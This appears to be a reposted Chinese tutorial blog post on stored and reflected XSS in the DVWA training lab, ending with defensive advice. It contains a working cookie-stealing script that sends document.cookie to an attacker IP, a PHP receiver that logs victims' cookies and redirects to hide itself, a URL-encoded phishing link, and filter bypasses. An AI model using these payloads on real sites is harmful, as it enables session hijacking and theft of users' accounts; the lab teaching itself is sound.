靶機系統:win7
存盤型、反射型XSS漏洞
- 系列博文
- 一、DVWA 靶機
- 二、XSS
- 1. 判斷是否存在XSS漏洞
- 2. XSS攻擊竊取cookie
- 2.1 cookie為什么產生?
- 2.2 cookie作用機制
- 2.3 存盤型XSS攻擊竊取cookie
- 2.4 中級存盤型XSS攻擊(防御代碼)
- 3. 反射型XSS漏洞
- 3.1 反射型XSS漏洞實驗
- 3.2 中級、高級反射型XSS攻擊
- 3.2.1 中級反射型XSS攻擊防御與繞過
- 3.2.2 高級級反射型XSS攻擊防御與繞過
- 3.3 總結
- 4. 提出防御方案
系列博文
- 信安小白,說明白滲透測驗及資訊安全
- 信安小白,一篇博文講明白暴力破解和SQL注入
- 信安小白,一篇博文講明白上傳漏洞——獲得shop靶機的Webshell
- 信安小白,一篇博文講明白存盤型、反射型XSS漏洞
- 信安小白,一篇博文講明白CSRF攻擊和防御
一、DVWA 靶機
??旨在為安全專業人員測驗自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的程序,DVWA靶機把最常見的漏洞都包含了:SQL注入、檔案上傳、檔案包含、命令注入、XSS、CSRF,
GitHub 下載DVWA 靶機

DVWA 安全級別:可以看到不同的等級的防御源代碼—— View Source
- 低級: 毫無安全措施可言,用錯誤的編碼讓 Web應用程式的漏洞表現出來,并作為教授或者學習基本開發技術的平臺,
- 中級:這個級別,開發人員會嘗試保護但是失敗…,對用戶提出挑戰,以改進他們的開發技術,
- 高級:中級難度的擴展,會混用更難攻擊的代碼或者替換不良代碼來嘗試保護,類似于CTF競賽,
- 不可能:可以抵御所有漏洞,這是用來將有漏洞的代碼和安全性代碼做對比的,

安裝DVWA平臺后,部分賬戶密碼設定在config.inc.php中

注意:
??DVWA靶機平臺可能存在bug,即:受到攻擊時就跳轉到impossible狀態并且不能修改! 因此解決方法:用記事本 打開 DVWA-X.X/config/config.inc.php(例:DVWA-1.9/config/config.inc.php)檔案,找到 #Default security level,設定 $_DVWA['default_security_level'] = "low"
?? 代碼及符號需要在英文輸入法下輸入
二、XSS
??XSS又稱CSS,Cross Site Script(跨站腳本攻擊),也可以叫javascript代碼注入攻擊,腳本需要通過網站轉發給用戶,讓對方瀏覽器執行js腳本,
攻擊者怎么把腳本跨站發給用戶?
??存盤型XSS又叫持久型,像論壇這樣的網站,上傳帖子時,如果沒有提交正常的陳述句,而是提交了js代碼,該帖子就會上傳到資料庫,服務器都會將攻擊者發表帶有腳本的帖子存盤在服務器上,含有惡意的腳本存盤在服務器,每個訪問該帖子的客戶端就會觸發執行,
??存盤型XSS攻擊是XSS里危害最大的一種,“持久”體現在代碼能夠被持久化保存到服務器上,此類漏洞危害性極大,一經存盤所有訪問的人都會被執行腳本,可謂一人上傳危害一大片,比如:將js腳本存盤在一個很吸引人的帖子下,所有看到的人都愿意點擊,這樣的話,腳本就會被很多人訪問,這個腳本可能是 彈窗 等內容,

??js腳本需要瀏覽器來執行,服務器不執行,也就是說對瀏覽器有危害而不對服務器有危害,解決方案:第一種:瀏覽器對js腳本進行過濾進行XSS篩選;第二種:服務器對提交的內容要有篩選和限制,比如下圖,上傳js代碼,如果有彈窗,則證明存在XSS攻擊漏洞,

1. 判斷是否存在XSS漏洞
輸入<script>alert("xss")</script>,如果腳本運行有彈窗說明存在漏洞,

如果沒有彈窗,可能需要設定一下瀏覽器(基本上大部分瀏覽器都會把XSS漏洞過濾掉):

瀏覽器:工具 -> Internet 選項 -> 安全 -> 自定義級別 -> 將啟用XSS篩選器改為禁用 -> 點擊 確定 -> 重新 Reset DB(左邊選項欄第二個)

上傳成功后,每次上傳其他的文字,都會彈窗了!!!

下次實驗時,務必重新 Reset DB 重啟資料庫,防止影響下次實驗效果!
2. XSS攻擊竊取cookie
2.1 cookie為什么產生?
??http協議是一種無狀態協議,服務器因此對于發送請求的客戶端沒有任何記憶,客戶端就不得不重復做很多事情,比如每次網站都要問你用戶名和密碼,為了提高可用性和效率,cookie作為資訊的攜帶者和記錄者,充當了身份證和筆記本的作用,
2.2 cookie作用機制
??如果客戶端同意使用cookie,客戶端第一次請求服務器時,服務器會創建一個帶有id的cookie發送給客戶端,客戶端收到后,將cookie保存在本地,由瀏覽器管理, 因此XSS攻擊如果盜用了用戶的cookie,就會冒充用戶進行身份認證!
2.3 存盤型XSS攻擊竊取cookie
</pre><script>document.location = 'http://192.168.1.*/acceptcookie.php?cookie=' + document.cookie;</script><pre>
??前面的ip地址,是攻擊者的ip地址,acceptcookie.php用來直接獲得接收用戶cookie的值(只能獲取非HttpOnly 型別的cookie)
# acceptcookie.php 用于接收cookie值,保存在cookie.txt
<?php
$cookie = $_GET['cookie']; //以GET方式獲取cookie變數值
$ip = getenv ('REMOTE_ADDR'); //遠程主機IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 時:分:秒”的格式顯示時間
$referer=getenv ('HTTP_REFERER'); //鏈接來源
$agent = $_SERVER['HTTP_USER_AGENT']; //用戶瀏覽器型別
$fp = fopen('cookie.txt', 'a'); //打開cookie.txt,若不存在則創建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //寫入檔案
fclose($fp); //關閉檔案
header("Location: http://www.baidu.com")//重定向到baidu,防止發現
?>
??發送js腳本用于盜取用戶cookie:ip地址為攻擊者的ip地址,讓用戶瀏覽器執行腳本找到攻擊者的ip地址上的acceptcookie.php,并將瀏覽器當下cookie值發送給攻擊者

在靶機檔案中,存在 cookie.txt

2.4 中級存盤型XSS攻擊(防御代碼)
$message = htmlspecialchars( $message );
Htmlspecialchars()把預定義的字符轉換為 HTML 物體,即輸出文本,不能讓js代碼執行,
什么是html物體?
??在html中有些字符,像 < 這類的,對HTML來說是有特殊意義的,所以這些字符是不允許在文本中使用,要在HTML中顯示<這個字符,我們就必須使用物體字符<,
$name = str_replace( '<script>', '', $name ); # <script>替換成了空格
name引數,只是簡單過濾了<script>字串,可以通過大小寫繞過,將<script>變成<Script>
以上腳本必須在用戶訪問網站A時執行,才能得到用戶訪問A網站的cookie,
3. 反射型XSS漏洞
-
存盤式漏洞也稱為持久型XSS
??發表帶有腳本的帖子,從而把惡意腳本存盤在服務器,每個訪問該帖子的客戶端就會觸發執行, -
反射式漏洞
??服務器不存盤腳本,依靠服務器反射回腳本,在客戶端觸發執行,
目標:獲得用戶訪問網站A的cookie(注意用戶是已登錄狀態)
問: 誰執行JS腳本?
答: 用戶瀏覽器
解釋: 要獲得用戶訪問A網站的cookie,只能是瀏覽器打開網站A的頁面時執行JS腳本,JS腳本是服務器發給用戶,
問: 但是攻擊者不能將JS腳本存盤在服務器上,服務器怎么發給用戶?
答: 用戶發給服務器,服務器反射給用戶,比如上網時填入昵稱xxx,服務器回復hello xxx, 將昵稱反射給用戶,再比如搜索xxx關鍵字,回傳你要搜索的是:xxx,

問: 用戶為什么會提交JS腳本給服務器?
答: 用戶不是自己主動提交,而是攻擊者讓他提交,
問: 用戶為什么會聽攻擊者?攻擊者要發給用戶什么?
答: 攻擊者發給用戶一個鏈接,引誘用戶點擊,用戶打開鏈接后跨站向服務器A提交JS腳本,
答: 服務器回傳腳本,用戶瀏覽器執行,將cookie發給攻擊者,
??攻擊者發現目標網站上存在反射型XSS漏洞,于是就創建一個惡意網站,把惡意網站鏈接發給用戶,引誘用戶點擊,用戶點擊鏈接就執行惡意網站的內容,即跨站請求:向目標網站提交引數,引數內容就是js腳本,目標網站的服務器回傳腳本,用戶瀏覽器執行,把cookie發給攻擊者,

3.1 反射型XSS漏洞實驗
判斷存在反射型XSS漏洞的網站:
找到一個可以輸入資訊的網頁,

輸入資訊(name),回傳:Hello xxx,發現網站服務器可以將用戶填寫的資訊回傳給網頁,也就是用戶提交什么就回傳什么,

如果上傳js腳本:<script>alert("xss")</script>

上傳腳本后:有彈窗

攻擊者向靶機提交腳本,腳本反射回來可以執行,說明靶機沒有對上傳的內容進行過濾,存在反射型XSS漏洞,
問題: 用戶不會自己發送腳本,只能是攻擊者發功惡意鏈接,攻擊者點擊后,跨站向目標網站發送腳本,
??因此, 我們發現:上傳js腳本時url是在變化的,因此可以使用惡意連接,訪問惡意網站來引導用戶自己上傳js腳本,
未上傳時url:

上傳后url:

url上的name=后面的應該是上傳的內容,結果卻是看不懂的字串,可以猜想到網站使用了url編碼,

反射型xss漏洞流程:

撰寫釣魚網頁,實施反射型XSS漏洞攻擊獲取用戶的cookie
<a href='http://192.168.163.128/DVWA-1.9/vulnerabilities/xss_r/?name=%3C%2Fpre%3E%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.163.128%2Facceptcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E%3Cpre%3E'>111</a>
代碼說明: 因為我們需要把js腳本從我們惡意的網站上傳到靶機上,因此會有 兩個url,前面的url是 靶機的ip地址,后面的url是 惡意網站的地址(我這里使用一臺計算機,因此兩個地址一樣)
撰寫惡意網站(l.php)并將其發送到WWW目錄下(用DVWA靶機需要,如果是其他靶機可能不需要):

用戶訪問惡意網站:前提是已經登陸網站了,登陸有效

發現可以獲取用戶的cookie資訊:

3.2 中級、高級反射型XSS攻擊
3.2.1 中級反射型XSS攻擊防御與繞過
防御是:<script> 用空格替代,可以用大小寫繞過,<script>替換成<Script>
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
3.2.2 高級級反射型XSS攻擊防御與繞過
防御代碼用了正則運算式,可以用其他編碼繞過,
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '',
$_GET[ 'name' ] );
3.3 總結
-
用戶C正常登錄DVWA網站,登錄成功會得到一個會話資訊的cookie,
-
攻擊者如何發現網站DVWA存在XSS漏洞?
??攻擊者向DVWA提交腳本,腳本反射回來能夠執行,說明DVWA沒有進
行過濾,存在反射性XSS漏洞, -
攻擊者B構造惡意網站,并將惡意網站URL發送給被用戶C,攻擊者如何構造惡意網站?
代碼:
<a href='http://192.168.1.3/DVWA-1.9/vulnerabilities/xss_r/?name=%3C%2Fpre%3E%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.1.5%2Facceptcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E%3Cpre%3E'>111</a>
代碼說明: 因為我們需要把js腳本從我們惡意的網站上傳到靶機上,因此會有 兩個url,前面的url是 靶機的ip地址,后面的url是 惡意網站的地址(我這里使用一臺計算機,因此兩個地址一樣) -
用戶C打開攻擊者B發送過來的鏈接: 192.168.1.3/test.php ,192.168.1.5/test.php 兩個IP地址分別是誰的?
192.168.1.3/test.php靶機、目標網站的ip地址
192.168.1.5/test.php攻擊者的ip地址 -
用戶在不知情的情況下跨站向DVWA提交JS腳本;注意提交的是下面腳本的url編碼:
</pre><script>document.location ='http://192.168.1.*/acceptcookie.php?cookie='+document.cookie;</script><pre>這里IP地址是誰的?
攻擊者的ip地址 -
DVWA執行用戶發出的請求, 根據請求的引數值(JS腳本),構造不同的HTML回傳;
-
用戶C收到DVWA回傳的包,決議并執行JS腳本;

4. 提出防御方案
-
對輸入和url引數進行過濾,
??對所有用戶提交內容進行可靠的輸入驗證(XSS特征庫),包括對URL、查詢關鍵字、HTTP頭、POST資料等,不允許發現提交內容與網頁要求的提交內容不符的情況,避免提交js腳本,對url中的引數進行過濾,過濾掉會導致腳本執行的相關內容, -
使用HttpOnly設定,
??設定HttpOnly屬性,讓js腳本無法獲取cookie資訊,Cookie都是通過document物件獲取的,如果能讓cookie在瀏覽器中不可見就可以防御,cookie設定HttpOnly屬性,那么通過js腳本將無法讀取到cookie資訊, -
對輸出資訊進行編碼,
??對所有要動態輸出到頁面的內容,通通進行相關的編碼和轉義,進行html編碼,使腳本無法在瀏覽器中執行
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/336169.html
標籤:其他
下一篇:kali與永恒之藍
